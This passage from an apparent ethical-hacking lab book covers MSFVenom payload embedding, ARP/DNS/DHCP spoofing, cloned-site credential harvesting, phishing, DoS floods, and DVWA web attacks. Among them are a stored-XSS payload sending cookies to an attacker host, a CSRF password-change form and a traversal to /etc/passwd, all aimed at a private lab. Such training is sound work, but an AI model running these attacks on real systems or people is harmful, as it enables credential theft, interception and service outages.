exploit. We did mention that there is an
MSFVenom switch that allows us to achieve
that, so we’ll include it into our next
command:
LHOST=192.168.77.128 LPORT=1234 -f exe -x calc.exe
-k -o calc3.exe
Finally, we can mix and match various types

of obfuscation, pipe different MSFVenom
commands into one another, and more:
LHOST=192.168.77.128 LPORT=1234 -f exe -e
x86/shikata_ga_nai -i 5 -x calc.exe -o calc4.exe
The --platform and -a switches are optional as

MSFVenom will infer what platform and
architecture it is intended for from the
payload. Not only that, but if you are
embedding your payload within a preexisting
Windows program, MSFVenom will give you
an error if the architectures are not matching.
One final point to make is that it’s best to

verify malware functionality on your local
network before launching it against your
intended target. This ensures that everything
works properly, and you know what to expect
once the payload is activated.
Tips and notes:
Try to generate an exploit with Veil but then
encode and embed it in an inconspicuous file
with MSFVenom, while preserving the
intended functionality of all elements.
Lab 45. MAC
Flooding
Lab Objective:
Learn how to perform a MAC flooding
attack.
Lab Purpose:
MAC flooding is a type of attack in which
legitimate MAC table contents are being
replaced with the attacker’s desired ones by
sending unicast flooding to network switches.
Lab Tool:
Macof.
Lab Topology:
Lab Walk-Through:
MAC stands for Media Access Control and is
the address of a networked device on a
hardware level. Each Network Interface Card
(NIC) has its MAC address set by the
manufacturer. This can, of course, be
changed, but for now, we’ll treat it like it’s a
fingerprint of a NIC.
Now, a switch has a MAC table that maps

MAC addresses of devices connected to the
switch to the switch’s ports. So, when a
packet is traveling through a network, it
knows exactly where to go to and where it
came from within a LAN. This is what
differentiates switches from hubs, as hubs do
not know this information.
If we, as ethical hackers, perform this attack

successfully, we’ll be able to trick a switch
into thinking the MAC address of our
attacking machine is located on all ports, and
then we’ll be able to intercept traffic and
analyze it for potentially critical information,
such as usernames and passwords. So, let’s
get to it. First, we want to identify the target
interface with the command:
ifconfig
wireshark
Then, in Wireshark, select the interface you

want to analyze; in my case, that’s eth0.
Next, type:
macof -i eth0
and while the tool runs, go over to Wireshark

and look at the traffic.
Without running the tool, you’d have to wait

for some time in order to see just one packet
(unless you’re actively browsing the internet
or communicating with machines on your
LAN in other ways). After launching the
Macof tool, you can see, quite literally, a
flood of IPv4 packets; this is our MAC flood
attack. In this lab, we won’t be going any
further, but rest assured that we will utilize
various techniques in order to “sniff” traffic
in a network. Which techniques depend on, as
always, the target network landscape.
Tips and notes:

This exercise becomes a lot more intuitive if
you have a dedicated switch that you can log
into and analyze traffic from within, as well
as see how easy it is to stop an attack like
this.
Lab 46. DHCP
Starvation Attack
Lab Objective:
Learn how to perform a DHCP starvation
attack.
Lab Purpose:
DHCP stands for Dynamic Host
Configuration Protocol and is responsible for
assigning IP addresses to networked devices.
In this lab, we’ll look into how we can abuse
that protocol to suit our ethical hacking
needs.
Lab Tool:
Yersinia.
Lab Topology:
Lab Walk-Through:
So, why would we need to abuse DHCP
services? Well, in order to trick other devices
on a network into thinking we are who we
want to be (for example, the network’s
default gateway). Doing so would allow us to
perform Man-In-The-Middle (MITM) attacks
and analyze the target network’s traffic.
DHCP starvation can be thought of as one of
the potential steps towards achieving MITM
attacks.
The reason why an attack like this can happen

in the first place is because a DHCP server
has a limited number of IP addresses to give
to various networked devices (check the
subnetting relating lab). If we exhaust the
legitimate DHCP server’s IP addresses list,
we can then introduce our own via a rogue
DHCP server, which will be our next lab.
To launch our tool of choice, type:
yersinia -G
wireshark
Then, within Yersinia, select Launch attack

→ DHCP → Sending DHCP Discover
packet.
After only a couple of seconds, we can stop it

by going to List attacks → Stop ALL.
Then, head over to Wireshark, which was
hopefully set to capture on your target
interface, and type in “dhcp” into the filter
field, and you will see just how many DHCP
packets were sent out.
Within just a few seconds, dozens, if not
hundreds of packets, were sent out and, by
extension, IP addresses occupied.
Tips and notes:

And this before this attack becomes a lot
more intuitive if you have a DHCP server of
your own. A DHCP server can be hosted on
something like Raspberry Pi, but that is
outside the scope of these labs.
Lab 47. Rogue
DHCP Server
Lab Objective:
Learn how to create a rogue DHCP server.
Lab Purpose:
In the previous lab, we’ve seen how to
perform a DHCP starvation attack. In this
one, we’ll look at furthering that attack vector
by introducing our own rogue DHCP server
to “substitute” the legitimate one, thus
allowing us to issue IP addresses as we see fit
(and, by extension, position ourselves where
we want in the network landscape).
Lab Tool:
Ettercap.
Lab Topology:
Lab Walk-Through:
To start our attack, type:
ettercap -G
in Kali’s CLI. Once the tool starts, make sure

the correct target interface is selected, then
click the “check” mark in the upper right
corner of the tool’s window.
In the next window, click the globe icon,

again in the upper right corner, and select
DHCP spoofing.
In the new window that pops up, type in the
IP addresses (or IP address ranges) you want
to assign to your targets and the correct
subnet mask. Refer to the lab on subnetting
for this, as we will be assigning the mask of
255.255.255.0. The DNS Server IP field is
not necessary as we won’t be using DNS just
yet, but I’ve entered my Kali VM’s IP
address.
Click Ok and the attack will start.
Now, if a device requests an IP address, it’ll

be given one by our rogue DHCP server.
Of course, our home network routers are

likely to compete, so in a home network, this
attack might not work every single time and
may require some trial and error to perform
as intended.
Tips and notes:

This is yet another attack that works best if
you have a designated DHCP server to work
with. While possible to work with your home
network’s router, it is not ideal as oftentimes,
home network routers do not allow advanced
setup by the user.
Lab 48. ARP
Poisoning
Lab Objective:
Learn how to perform ARP poisoning.
Lab Purpose:
ARP, meaning Address Resolution Protocol,
is a protocol responsible for making a
connection between a device’s MAC and IP
addresses.
Lab Tool:
Ettercap.
Lab Topology:
VM for this lab.
Lab Walk-Through:
By poisoning ARP tables we’re able to trick
devices on a network thinking we are
something we’re not, for example the
network’s default gateway. We need a
specific target for this lab, which will be our
Windows 7 VM, and we need to enable IP
forwarding on our Kali box, with the
command:
echo 1 > /proc/sys/net/ipv4/ip_forward
or, if that one does not work for whatever

reason:
sysctl -w net.ipv4.ip_forward=1
then, in Windows’ cmd.exe, type:

ipconfig
arp -a
and on Kali’s terminal, type:
ifconfig
route
ettercap -G
Within Ettercap, select your interface of

choice, eth0 in my case, and then click on the
“check” button in the upper right corner of
Ettercap’s window.
The next thing you want to do in Ettercap is
either click on the three vertical dots in the
upper right corner, and select Hosts → Scan
for hosts, or click on the magnifying glass
button in the upper left corner, which does
the same.
When the scan completes, go back to the

three dots or the icon that looks like a server
stack in the upper left corner (next to the
magnifying glass) and check out Hosts list.
Now, in the Hosts list, select our target
Windows VM’s IP and MAC, then Add to
Target 1.
Following that, select our router’s IP and
MAC, then Add to Target 2.
Finally, click on the globe icon in the upper

right portion of the Ettercap’s window and
select ARP poisoning. Click Ok, and the
attack will start.
Now open up:
wireshark
select the interface of choice and type in

“arp” in the filter.
If you look at Wireshark for a couple of
seconds, you can see that the list is
continually updating, meaning new ARP
packets are being sent all the time. If you
check the MAC addresses of the latest ARP
packets, you will see that our Kali is
interfering with the router.
Tips and notes:

Pretty much every single technique explained
so far, if not executed properly, will result in
a DoS attack. That’s yet another reason why
we want to try out all our attacks within our
own lab before using them in the real world.
Lab 49. MAC
Spoofing
Lab Objective:
Learn how to perform MAC spoofing.
Lab Purpose:
In one of our previous labs, we’ve looked at
MAC flooding, and we’ve mentioned that
MAC addresses, while intended to be sort of
a fingerprint for a NIC, can be changed. In
this lab, we’ll see just how easy it is to do so.
Lab Tool:
MACChanger.
Lab Topology:
Lab Walk-Through:
Changing a MAC address in Kali is actually
quite trivial, seeing how there is a tool that
can do it for us, aptly called MACChanger.
As before, let’s type:
macchanger --help
to see what it is that we can exactly do with

the tool. We see that, quite conveniently,
MACChanger will remember the original
MAC address of the NIC, and we can always
revert back to it should the need arise.
Besides that, we can set the MAC address to
a random value with the -r switch, we can set
it to a specific value with the -m switch and
much more. Let’s use:
macchanger -r eth0
while specifying your target interface. You

see how MACChanger denotes your
permanent MAC. But what happens if we
change the address again?
macchanger -m 12:34:56:AB:CD:EF eth0
We see that it still remembers the original

MAC address for our interface. Finally, let’s
set the MAC address to what it was
originally:
macchanger -p eth0
With this, we are able to hide the true identity
of our device on a target network, and we can
even pretend that we are a device that already
exists there.
Tips and notes:

As always, you are encouraged to experiment
with the tool and see all of the options
available to you, not just the ones shown in
this lab.
Lab 50. DNS
Poisoning
Lab Objective:
Learn how to perform DNS poisoning.
Lab Purpose:
DNS (Domain Name System) poisoning, also
known as DNS cache spoofing/poisoning, is
an attack in which we pretend to be a DNS
server, connecting domain names with IP
addresses.
Lab Tool:
Ettercap.
Lab Topology:
VM for this lab.
Lab Walk-Through:
To start things off, let’s do the following:
ifconfig
arp
route
vi /etc/ettercap/etter.dns
and enter the URL you want to spoof and
your Kali’s IP address like this:
ettercap -G
Start Ettercap as before, scan for hosts, then

list them, assign targets, start an ARP
poisoning attack and finally click the three
vertical dots → Plugins → Manage plugins
→ double-click dns_spoof. Then, on your
target machine, try visiting the URL you’ve
entered into the /etc/ettercap/etter.dns file. It
won’t work, but we’ll make it work in the
very next lab, so stay tuned!
Tips and notes:

You see how versatile Ettercap is, so feel free
to explore its other features as we’ve only
scratched the surface here. As before with
malware, do the simplest attacks first, and if
they yield results, there’s no need for more
sophisticated ones. After your client fixes
these simple issues, you will get the
opportunity to try the more sophisticated
ones.
Lab 51. Sniffing
Wrap-Up
Lab Objective:
Consolidate knowledge on sniffing attacks.
Lab Purpose:
In this lab, we’re going to put our skills to use
and sniff traffic from unsuspecting victims by
performing a MITM attack.
Lab Tool:
Kali Linux.
Lab Topology:
VM for this lab.
Lab Walk-Through:
So, the attacks we’ve shown pertaining to
sniffing and MITM are MAC flooding,
DHCP starvation and setting up a rogue
DHCP server, ARP poisoning, MAC
spoofing and DNS poisoning. Remember
how we’ve said that you ought to be trying
the simplest methods first and add complexity
only if necessary? In addition to that, we’ve
mentioned that some of these attacks work
best if there is a dedicated hardware
component towards which said attacks can be
directed (such as a switch to use MAC
flooding on). With that in mind, we’ll show
what we can within the constraints of a
simple home networked VM lab.
To start things off, let’s do the initial setup:

ifconfig
arp
route
and input the URL of the website you wish to
spoof (note that, at this point, it cannot be a
major site like Facebook.com, etc.) and
Kali’s IP address. I’ll opt for owasp.org.
Next, download the website found on the
URL you just entered:
httrack -r1 https://owasp.org/
and serve it via a Python HTTP server:

Finally, start our tools:

wireshark
ettercap -G
Select the target interface in Wireshark, and

in Ettercap, perform the ARP spoofing →
dns_spoofing setup.
On Windows, go to http://owasp.org, and you
will be presented with the copied version of
OWASP’s website, which can be verified by
checking the CLI tab where our Python
HTTP server was started, Wireshark or
Ettercap.
Now, the website seen by our Windows target
is not perfect because we instructed HTTrack
to only mirror the very first page (with the -r1
switch). Modern web applications are highly
complex and require a lot more to fully
function.
Tips and notes:

In our CompTIA PenTest+ 101Labs book,
we’ve shown these attacks using a tool called
Bettercap. Quite often, you can find tools that
do similar things (not entirely the same) in
different ways. It’s normal to have your
favorites, but necessary to know how to use a
vast majority of them.
Lab 52. Social
Engineering
Lab Objective:
Learn how to perform social engineering
attacks.
Lab Purpose:
Finally, in this lab, we’ll look into what social
engineering is and how to facilitate social
engineering attacks. This will also allow us to
build on top of the previous lab and be able to
serve a near indistinguishable copy of a
website to our targets.
Lab Tool:
SEToolkit.
Lab Topology:
VM for this lab.
Lab Walk-Through:
First, let’s ensure we have the tool of choice
installed with the commands:
apt update
apt install set
setoolkit
You’ll be presented with categories of attacks
and, for the purpose of this lab, we’ll opt for
1 → 2 → 3 → 2.
192.168.77.128
https://www.facebook.com/
Then, hop over to Windows and, using any

web browser, head over to 192.168.77.128.
You will see that the web page presented to
you is indistinguishable from Facebook’s
original web page.
Enter any credentials, and back on Kali, you

will see that SET captured them.
Now, of course, this attack can (and should)
be further improved by DNS poisoning so
that when a target tries to visit not
192.168.77.128 but facebook.com, they will
be redirected, stealthily, to the one hosted on
192.168.77.128, but that is an exercise for
you.
Tips and notes:

It may seem like we’re “beating a dead
horse,” but do not use this attack against
people you do not have explicit written
permission to hack. No matter how
benevolent your intentions may be, it is still a
violation of their privacy and illegal.
Lab 53. DoS Flood
Attacks
Lab Objective:
Learn how to perform Denial of Service
(DoS) attacks.
Lab Purpose:
We’ll look into how to perform a DoS attack,
which can be helpful if your client wants to
know how resilient their infrastructure is and
how well implemented the defensive measure
is against this type of attack.
Lab Tool:
Hping3.
Lab Topology:
VM for this lab.
Lab Walk-Through:
The tool we’ll be using is called Hping3, so
let’s look at its help menu with the command:
hping3 --help
Hping3 is essentially a packet crafting tool,

allowing us countless possibilities to develop
hand-crafted packets and send them towards
our targets. Needless to say, this can also help
with things such as firewall/IDS detection,
like what we did with Nmap (remember
packet fragmentation, etc.).
There are many types of flooding attacks

(remember the MAC flooding lab), and here
we’ll look at a couple more, namely UDP,
ICMP and SYN flood attacks. They can all be
facilitated with the syntax:
hping3 -1 --flood 192.168.77.155
hping3 -2 --flood 192.168.77.155
hping3 -S --flood 192.168.77.155
for ICMP, UDP and SYN packet flooding,

respectively. Before you use these
commands, fire up Wireshark so you can
keep track of what’s going on across the
network:
wireshark
Within seconds we already have 519950
packets sent to our target Windows 7 VM!
Launching the UDP and SYN versions of this
attack would achieve the same results.
Needless to say, this will easily overwhelm a
personal device on a home network,
especially a low bandwidth one. In case of
higher bandwidth, a Distributed Denial of
Service (DDoS) attack may be necessary,
which involves launching this same attack but
from multiple attacking machines, all towards
the same target.
Tips and notes:

You can try creating a DDoS attack towards
Windows using the other machines
(Metasploitable and OWASP) in your VM
lab with “directions” issued from Kali.
Lab 54. SlowLoris
Lab Objective:
Learn about the SlowLoris DoS attack.
Lab Purpose:
SlowLoris is a DoS attack targeting web
applications. It works by slowly “browsing” a
target web application, thus occupying
resources and preventing legitimate users
from accessing the desired application.
Lab Tool:
SlowLoris.
Lab Topology:
You can use Kali Linux and OWASP BWA
Lab Walk-Through:
To facilitate this attack, we have to download
one of the many SlowLoris scripts from the
internet. Always be careful when running
public exploits, as they may contain hidden
code with devastating consequences for you
or your clients. That is why we shall utilize a
SlowLoris script with only a handful lines of
code, which makes it easier to analyze. So,
grab the script from
https://gist.github.com/gkbrk/5de70f35e69343718431
and make the file you save it to executable:
vi slowloris.py
Change the socket_count variable’s value

from 100 to something higher; I will go for
500.
This depends on your server and network

bandwidth.
chmod 777 slowloris.py
python3 slowloris.py 192.168.77.156
And the tool will launch its attack.
Try accessing the target IP now.

Now, what this script, in particular, does is it
opens up a TCP socket and creates a GET
HTTP request towards your target. Then, for
all existing sockets (defined in the
socket_count variable), it sort of asks, “can
we send a bit more data every 15
seconds?”Ultimately the web server thinks
that it’s got x number of people (defined by
the socket number) looking at it (but it’s, in
fact, one person looking at it x times) really
slowly (hence the name).
The result is that it takes forever (or much
longer than normal) to access a web
application hosted on that server.
Tips and notes:

SlowLoris’ success is determined by the
number of concurrent connections a server
can support, the number of sockets defined
within the tool, yours as well as the target’s
bandwidth, the defensive measures in place,
etc. Play around a bit with the number of
sockets and see whether you can successfully
attack the target VM. Clearing your target
browser’s cache can also help with this
attack.
Lab 55. DoS Attack
Tools
Lab Objective:
Learn how to perform DoS attacks using
Windows tools.
Lab Purpose:
We’ll use this opportunity to look at two DoS
tools designed to be run on Windows
machines. Because these are notorious tools,
we’ll have to make some adjustments to our
lab network.
Lab Tool:
LOIC/HOIC.
Lab Topology:
You can use Windows 7 and OWASP BWA
Lab Walk-Through:
So first, we want to download the two tools
from these URLs:
https://sourceforge.net/projects/loic/.
https://sourceforge.net/projects/high-orbit-
ion-cannon/.
Once the tools are downloaded, turn off all of

your VMs, then on the Windows and
OWASP VM, set the network to Custom
instead of NAT.
This will make the two VMs see one another
but not be able to interact with anything else;
they’ll be on their own, separate/private
network. Now, because of that, we have to
check their IP addresses. So, log into the
OWASP VM with the credentials
root/owaspbwa and check its and Window’s
IP addresses. Then, on Windows, extract the
downloaded archives onto the desktop with
the archiving tool of your choice (like 7-Zip).
Now, let us start HOIC (High Orbital Ion

Cannon), developed by Anonymous. Setting
it up is rather simple; we just specify the
target URL, how powerful we want the attack
to be, and that’s pretty much it. Pressing
FIRE TEH LAZER! launches the attack.
We immediately see the traffic output

towards the target; however, this is not
enough to overwhelm it, most likely because,
in the network landscape, these two VMs
(Windows and OWASP) are basically
holding hands with how close they are to one
another.
Now go ahead and test LOIC (Low Orbital

Ion Cannon) on your own.
Tips and notes:

Once you’re done with this lab, make sure
you set the networks back to NAT for both
VMs.
Lab 56. XSS
Lab Objective:
Learn how to perform Cross-Site Scripting
(XSS) attacks.
Lab Purpose:
This is the first of many labs where we’ll
cover web application vulnerabilities and
exploits. We’ll start things off with XSS, one
of the most prevalent bugs in modern web
apps.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
Fire up your Kali and OWASP VMs, identify
OWASP’s IP address then navigate to it
using a web browser of your choice within
Kali. You will be presented with a selection
of web applications, and we want the Damn
Vulnerable Web Application (DVWA).
Enter the credentials admin/admin and click

on XSS reflected.
XSS vulnerabilities fall into the injection
category/family. As the name implies, these
vulnerabilities happen because unsanitized
user input gets “injected” into websites or
their communication with the server.
Reflected XSS means that we will have the
code reflected back at us upon its execution.
The most famous string we can input to check

whether a particular input field is vulnerable
to XSS is:
<script>alert(1);</script>
If we enter that in the What’s your name?

field, we’ll see that the number 1 is reflected
back to us.
Now, this might not seem like much, but we

will build upon this vulnerability, so continue
reading.
Tips and notes:

As you can see on the DVWA’s home page,
there is also a stored type of XSS and there is
also a DOM type. Stored you can test on your
own, but DOM is outside the scope of these
labs. As the idea is to have only 101 total
labs, we can only fit so much into them.
Lab 57. CSRF
Lab Objective:
Learn how to identify and exploit Cross-Site
Request Forgery vulnerabilities.
Lab Purpose:
CSRF is another injection vulnerability. The
main difference between XSS and CSRF is
who/what we are targeting. In XSS, we abuse
a client’s trust towards a server, whereas in
CSRF, we exploit a server’s trust towards a
client/user.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
Do everything the same as in the previous lab
only; instead of selecting XSS reflected,
select CSRF. Most commonly, CSRF attacks
allow us to perform an action on the
vulnerable website as a particular user (the
user we’ve used the attack against). So, for
instance, we can issue bank transactions on
behalf of a user, change their password
without their knowledge, and more. Now, the
process of exploiting a CSRF vulnerability is
more involved than XSS. If you possess
knowledge of HTML, JS and PHP, you can
perform source code reviews by clicking on
View Source in the bottom right corner of
DVWA’s window.
From there, you can see that the CSRF form
simply checks whether the two password
entries match and then sends it on its way
without any other verification and
sanitization.
If you do not, however, proceed with the next
steps.
With that in mind, in order to discover this

vulnerability, we have to fire up BurpSuite
and send traffic from our web browser to it.
We’ve covered that in one of our earliest
labs, so we won’t go over that again. Start
Burp by typing:
burpsuite
in Kali’s CLI, then try to send a password
reset request from DVWA. Once you
intercept the request in Burp, send it to its
Repeater tab (Ctrl+R is the keyboard
shortcut).
Within the password change request, we can

identify where (and how) the request was
being sent (a GET request to
/dvwa/vulnerabilities/csrf/?) and session
parameters (cookies and their values).
The next step would be to inspect the client-

side code of this page by pressing Ctrl+U on
your keyboard. There you can identify the
HTML form that takes our input, so copy and
save it into a new HTML file on your Kali
box.
We edit the saved form like in the screenshot

below:
To wrap this up, albeit abruptly, let’s host this
HTML file using our simple Python HTTP
server and see what it does through Burp:
python3 -m simple.http 80
Navigating to http://localhost:80/csrf.html
with your web browser opens up the
following page:
Clicking on the button sends this to the

server:
We can see that this request contains a new
password, as set by the hacker to replace the
currently logged-in user’s one.
Tips and notes:

You might have noticed, in the bottom left
corner of DVWA, there are security levels.
You are encouraged to play around with
those, as they would increase the challenge.
Lab 58. Session
Hijacking
Lab Objective:
Learn how to perform session hijacking
attacks.
Lab Purpose:
Session hijacking is stealing another user’s
session, so let’s see how we can do that with
our DVWA target.
Lab Tool:
BurpSuite.
Lab Topology:
Lab Walk-Through:
So, start everything as before with regards to
OWASP BWA and DVWA (make sure it is a
fresh system boot) and start BurpSuite. Log
in to DVWA and, after logging in, turn on
FoxyProxy, then intercept a DVWA request
(can be directed anywhere on the page).
Send this request from Burp to its Repeater

tab, then open a new, private Firefox window.
Keep Burp Intercept set to On and navigate
directly to DVWA’s URL (not
192.168.77.155 but 192.168.77.155/dvwa).
As you intercept the request, copy/paste the
Cookie values, all of them, from the
previously authenticated session (non-private
Firefox window) into the new request (from
the private Firefox window), then just send
the request on its way.
If you go back to the private Firefox’s

window, you will notice that you are now
logged in without supplying user credentials.
Tips and notes:

See if you can omit some Cookie values and
still log into the target application.
Lab 59. Session
Attacks Wrap-Up
Lab Objective:
Putting the session attacks knowledge to use.
Lab Purpose:
In this lab, we’ll look at how we can perform
session attacks on a remote machine and reap
the fruits of our labor within Kali.
Lab Tool:
Kali Linux.
Lab Topology:
You can use Kali Linux, Windows 7 and
OWASP BWA in a VM for this lab.
Lab Walk-Through:
We’ll be needing three machines for this lab,
one to serve as a . . . server (OWASP), one as
the client whose session we want to
compromise (Windows), and one as us, the
hacker (Kali). This won’t require much of a
setup but rather a change in our payloads
used to achieve exploitation. So, for starters,
simply boot up all three machines and
identify IP addresses. On Kali, open the
terminal, and on Windows, a web browser of
your choice.
Next, on Kali, start an Ncat listener with the

command:
ncat -lvnp 8888
Now, this is the payload we’ll be using for

DVWA’s XSS stored vulnerability page.
Hope you did the stored XSS on your own
when it was suggested and now know the
difference between the two, as well as why
we are opting for stored instead of reflected.
<script>var i=new
Image;i.src=”http://192.168.77.128:8888/?”+document.cookie;
</script>
Before we’re able to do that, however, we

first have to increase the character limit in the
Message field on the XSS stored vulnerability
page. To do that, right-click anywhere on the
page and press Q (or select Inspect from the
drop-down menu), then search for
mtxMessage and increase the number in the
maxlength parameter to, let’s say, 200
(originally, it is 50, which is not enough for
our needs).
With that out of the way, we can paste this

payload into the Message field.
Click on Sign Guestbook, then hop over to

the Windows machine and browse to the
same page. Immediately, if you head back to
Kali, you will see a reverse connection from
our cookie stealing script, which successfully
stoke all cookie values of the Windows client.
Following the steps from our session

hijacking lab, it becomes quite easy to
compromise this user.
Now, we’re going to show something even

better. We’ll serve a CSRF attack on a DNS
spoofed DVWA instance, so let’s do it.
Fire up Ettercap and do the DNS spoofing

steps. In the /etc/ettercap/etter.dns file input
dvwa.com and then Kali’s IP address. Next,
on Kali, type:
cd /var/www/html/
vi /var/www/html/index.html
and paste the payload from the CSRF lab.

<form
action=”http://192.168.77.155/dvwa/vulnerabilities/csrf/?”
method=”GET”>
<h1>Click Me</h1>
<input type=”hidden” AUTOCOMPLETE=”off”
name=”password_new” value=”hacked”>
<input type=”hidden” AUTOCOMPLETE=”off”
name=”password_conf” value=”hacked”>
<input type=”submit” value=”Change” name=”Change”>
</form>
Now, if you go to dvwa.com on your

Windows VM, you will see our Click Me
page, and clicking on the button changes the
current user’s password (the user on the
Windows machine).
Needless to say, we, as an attacker, now

know what that user’s password has been set
to and can easily compromise their account.
Tips and notes:

Try to use the skills learned here on other
OWASP BWA web applications, such as
Security Shepherd, Mutillidae and bWAPP.
Lab 60. Directory
Traversal
Lab Objective:
Learn how to perform directory traversal
attacks.
Lab Purpose:
Directory traversal, also called file inclusion,
are vulnerabilities that allow us access to
otherwise hidden files. There are two types of
directory traversal/file inclusion: local (LFI)
and remote (RFI), which allow us to read
local or run remote files on the target,
respectively.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
To check out this vulnerability, head over to
DVWA and then its File Inclusion page. The
instructions are conveniently presented to us
on the page itself, so all we have to do here is
edit the ?page= parameter value.
But how do we know what to look for. Well,

if we’ve done our information gathering well,
we should know what OS/server version is
being run on the target. That allows us to
infer which files are likely to be present on it.
Each OS has some files that are unique to it
and which can be accessed by any and all
users, such as those located in the /tmp
directory on Linux machines. However, we
cannot know what files are located in a
particular machine’s /tmp directory, so we
need something that we know every (in this
example, Linux) machine has which is the
/etc/passwd file. Windows, on the other hand,
has boot.ini. Now, these files are accessible to
any and all users that look for them locally,
while they are sitting behind the keyboard of
said machine, but they should not be
accessible to random strangers online who
peruse the website hosted on that machine.
Random online strangers should, if properly
designed and implemented, only have access
to the web application itself and no system
files. So, by looking into whether we can
access these files through a URL we can
identify the presence of a directory traversal
vulnerability. Now, let’s see that in action.
Oftentimes, the root directory of a web

application is not the root directory of a file
system, so we have to “escape” the present
working directory of a web application and
navigate to the one we want (/etc/passwd). If
you remember the cd (change directory)
command, when we want to move through
directories, we use dots, like this ../. Well,
we’re going to do the same here. So input
../../../../../../../../../etc/passwd in the URL
behind/after the = sign, like in the screenshot
below.
After pressing enter, you can see the contents
of the /etc/passwd file found on OWASP
BWA VM. Navigating like this, we can
potentially discover even more interesting
files.
Tips and notes:

Try to achieve RFI on your own. Remember
that the idea is to run a locally present (on
Kali) tool/app/script on the target (OWASP
BWA) without transferring it using SCP and
other tools. As a hint in RFI, you ought to use
Kali’s IP address after the = sign, but in what
way exactly is up to you. If DVWA doesn’t
allow you to do this, you can always go to
some other application hosted on OWASP
BWA VM.
Lab 61. Phishing
Lab Objective:
Learn how to perform phishing attacks.
Lab Purpose:
In this lab, we’ll look into performing
phishing attacks, which is sending unsolicited
emails to target individuals or organizations
with various purposes.
Lab Tool:
SET.
Lab Topology:
Lab Walk-Through:
Phishing emails can be used for all sorts of
things. For instance, if we’ve identified a
vulnerable version of, let’s say Adobe
Reader, we can send them a PDF file with
some malicious payload embedded into it.
We can also have them click on a link that
will direct them to a mirrored website so we
can harvest their credentials and much more.
Thanks to SEToolkit, facilitating phishing

attacks is relatively simple; you only need an
email account/server to send the emails from.
So, start up the tool:
setoolkit
then select 1 → 5 → 1.
Enter your target email address (something
you have control over, like your own,
alternate email) and, depending on what you
have access to, either select 1 (if you want to
use Gmail) or 2 (if you have your own
server). For the purpose of this lab, I’ll select
1.
Input what SET requires of you and once

you’re done, verify that you have indeed
received the email with the content specified
in SET, as you can see in the screenshot
below.
If Gmail raises some issues about a password,

that’s something you’ll have to resolve on
your own as that falls under email
administration, not ethical hacking.
Tips and notes:
Try using the Mass Mailer option within the
Mass Mailer Attack category by creating a lot
of throwaway email addresses on your own;
see what are the differences in options SET
presented to you.
Lab 62. Web Server
Pentesting
Lab Objective:
Consolidate knowledge on web server
attacks.
Lab Purpose:
While this lab might be similar to one of our
previous ones, we’re going to introduce some
attacks in new contexts and further expand
upon what our options may be when we are
attacking a web server.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
So, let’s do things from the beginning, which
is the information gathering phase. We will
iterate through several Nmap commands like
this:
nmap -Pn -p- -sS -T4 --reason -vvv 192.168.77.156
nmap -Pn -p 80,443,8080 -sV -T4 --reason -vvv
192.168.77.156
nmap -Pn -p 80,8080 -A -T4 --reason -vvv
192.168.77.156
nmap -Pn -p 80,8080 --scripts safe,discovery,vuln,exploit
--reason -vvv 192.168.77.156
The results for some of which you can see in

the screenshots below:
Now, for good measure, we can do some
basic banner grabbing using Ncat like this:
ncat -v 192.168.77.156 80
ncat -v 192.168.77.156 443
ncat -v 192.168.77.156 8080
We see that our trust HEAD / HTTP/1.1

query does not work every time, and only
port 80 gives obvious results.
Next, we want to perform a vulnerability

assessment using Nessus, OpenVAS, or both.
For time’s sake, I’ll go with OpenVAS:
gvm-start
Then, assign OWASP BWA as target, only

ports 80, 443 and 8080, and then launch the
assessment. From the results, we can focus
our efforts on ports 80 and 443. Port 80 is
generally more interesting to us because it
typically hosts unencrypted HTTP, which
means that whatever passes through it, we
can read in plain text. Port 443, on the other
hand, hosts HTTPS, which is encrypted.
Now, we know that there is an interesting,

potentially (because there may be false
positives) highly vulnerable web application
on port 80. Let’s mirror the application and
set up a MITM attack:
httrack -r5 http://192.168.77.156:80
python -m simple.http 80
wireshark
owasp.com A 192.168.77.128
ettercap -G
Start the ARP → DNS spoofing attack and let
it run, just in case someone tries to visit the
mirrored web page and send some credentials
to it. Alternatively, you can do this through
SET, but we’ll leave that to you.
While we wait for someone to send some

credentials through the network, we’re going
to analyze the web application found on port
80. We see that there are quite a lot of
applications hosted on this server. While
you’re at it, see if you can identify some
email addresses and send phishing emails to
them via SET. So, we’ll first look at bWAPP.
Because this lab is aimed at server exploits,
we will try exploiting its RFI/LFI exercise.
Finally, let’s look at what MSF has to offer.
If we search for Apache or Tomcat exploits
with the commands:
msfdb run
search type:exploit name:apache platform:linux
search type:exploit name:tomcat platform:linux
we will get quite a few results. We leave it to

you to go through them and see whether any
will work.
Tips and notes:

You have probably noticed that the way these
labs are laid out is not ordered in an exactly
intuitive way. That is, to be honest, because
we’re following CEHv11 syllabus, which,
even to me personally, seems not well
ordered. We kindly ask that you bear with us
as this is how they laid out the modules
themselves.
Lab 63.
Authorization
Attacks
Lab Objective:
Learn how to perform authorization attacks
on web applications.
Lab Purpose:
Authorization sounds similar to
authentication, and while authentication is
concerned with whether your credentials are
correct and are properly validated,
authorization is concerned with whether you
have the privileges needed to access as
particular resource.
Lab Tool:
Kali Linux.
Lab Topology:
Lab Walk-Through:
We’ve already talked about directory
traversal vulnerabilities, which is a kind of
authorization attack. Still, CEH tries to
differentiate between server and application
attacks, and LFI/RFI allows us to access files
we should not be able to but which are a part
of the server OS’s file system. What we’ll try
to demonstrate here is accessing files that are
a part of the application.
One common way we can discover hidden

parts of a web application is by looking at
robots.txt file. So, if you go to
http://192.168.77.156/bWAPP/robots.txt or
http://192.168.77.156/mutillidae/robots.txt,
you will see some directories that we most
likely should not have access to.
If properly configured, a web application will

not allow us to access these directories and
files therein, despite them being mentioned in
robots.txt. However, if not properly
configured, we can browse these resources
without any login, anonymously as a guest or
low privileged user, as can be seen from the
screenshot below.
You can try logging in with these credentials
to any service found on OWASP BWA VM
or into Mutillidae’s pages that require
authentication.
Tips and notes:
See whether you can access any resources
like the ones shown in this lab but on
Metasploitable’s web server and the
applications hosted there.
Lab 64. Web
Application Logic
Attacks
Lab Objective:
Learn how to attack web application logic.
Lab Purpose:
Pretty much all web applications have some
logic behind them; they operate in certain
ways with the intent of performing certain
functions. If we can abuse this “logic” of an
application, we can subvert its functionality
and make it do unintended things.
Lab Tool:
BurpSuite.
Lab Topology:
Lab Walk-Through:
For the purpose of this lab, we’ll look at
